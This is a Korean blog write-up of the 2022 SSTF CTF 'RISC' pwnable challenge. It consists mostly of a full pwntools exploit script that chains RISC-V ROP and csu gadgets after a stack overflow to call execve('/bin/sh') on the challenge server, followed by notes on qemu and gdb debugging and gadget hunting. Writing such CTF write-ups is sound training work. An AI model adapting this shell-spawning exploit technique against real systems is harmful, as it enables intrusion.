CTF
2022 SSTF CTF (Hacker's Playground) RISC Pwnable Write-Up
JUNFUTURE
2022. 9. 6. 20:20
from pwn import*
def slog(n, m): return success(": ".join([n, hex(m)]))
context.log_level = 'debug'
# p = process(['./qemu-riscv64','-g','9988','./target'])
# p = process(['./qemu-riscv64','./target'])
p = remote('riscy.sstf.site', 18223)
get_a7 = 0x2b568
ecall_ret = 0x3b8c4
binsh = 0x6ecaf
payload = b'250382'
payload += b'\x00'
payload += b'B'*(32-len(payload))
payload += p64(0x6eccf) #s0 #write_table
payload += p64(0x0000000000010448) #first_ret in start #$sp-48
# read in main to 0x6eccf
# a0 0x0 0
# a1 0x6ec9f 453791
# a2 0x100 256
# insert bss(0x6ec9f) 0x0000000000026156
payload += b'D'*32
payload += p64(0x6eccf+0x10) #s0 'flag'
payload += p64(0x0000000000010448) #second_ret in start
payload += b'D'*32
payload += b'B'*8 #s0
payload += p64(0x0000000000010A68) #third_ret in start
#ra -> 0x10a68
#s0 -> B
#### csu chainning in 0x10a68 ####
payload += b'D'*16 #s5
payload += p64(ecall_ret) #s4 -> size -> a2
payload += p64(0) #s3 -> buf -> a1
payload += p64(binsh) #s2 -> fd -> a0
payload += p64(0x4444444444444444-1) #s1 -> func
payload += p64(0x6ec9f) #s0 -> func
payload += p64(0x0000000000010A22) #jump
#### setting a7 ####
payload += b'A'*8 #s0
payload += p64(0) #a1
payload += p64(binsh) #a0
payload += p64(0xdd) #a7
# pause()
p.sendafter('Password:',payload)
p.sendafter('Password:',p64(get_a7)) #open // write
# (gdb) x/10x 0x6ec9f
# 0x6ec9f <static_slotinfo+15>: 0x56 0x61 0x02 0x00 0x00 0x00 0x00 0x00
# 0x6eca7 <static_slotinfo+23>: 0x00 0x00
p.sendafter('Password:','/bin/sh\x00')
p.interactive()
- csu_chainning
- RISC-V syscall 루틴 이용
- 새로운 ISA 가젯찾기
1. qemu-riscv64 -g (원하는 포트) ./target
./qemu-riscv64 -g 9999 ./target
2. 다른 터미널 열기
3. gdb-multiarch (pwndbg는 잘안됨)
(gdb) target remote localhost:(연포트)
target remote localhost:9999
(gdb) set arch riscv:rv64
The target architecture is assumed to be riscv:rv64
(gdb) file ./target
Reading symbols from ./target...
(No debugging symbols found in ./target)
4. 완료
(gdb) disassemble start
Dump of assembler code for function start:
0x0000000000010434 <+0>: addi sp,sp,-48
0x0000000000010436 <+2>: sd ra,40(sp)
0x0000000000010438 <+4>: sd s0,32(sp)
0x000000000001043a <+6>: addi s0,sp,48
0x000000000001043c <+8>: lui a5,0x4c
0x0000000000010440 <+12>: addi a0,a5,656 # 0x4c290
0x0000000000010444 <+16>: jal ra,0x1aa04 <puts>
0x0000000000010448 <+20>: lui a5,0x4c
0x000000000001044c <+24>: addi a0,a5,680 # 0x4c2a8
0x0000000000010450 <+28>: jal ra,0x14f34 <printf>
0x0000000000010454 <+32>: addi a5,s0,-48
0x0000000000010458 <+36>: li a2,32
0x000000000001045c <+40>: li a1,0
0x000000000001045e <+42>: mv a0,a5
5. 가젯찾기
./xrop ../sstf2022/riscy_4d8eea5aee06d1a109c05a7b1d33e06b/release/deploy/qemu-riscv64 target
이거 근데 잘 안됨 => objdump 이용
https://dokhakdubini.tistory.com/51
[ROP] gadget찾는법
ROP(Return Oriented Programming)에서 가장 핵심적인 부분을 고르라고 하면 gadget을 구하는 것일 것이다. 이에는 몇가지 방법이 있다. 1. ROPgadget 이용하기 명령어는 다음과 같이 쓰면 됩니당. ROPgadget --bi..
dokhakdubini.tistory.com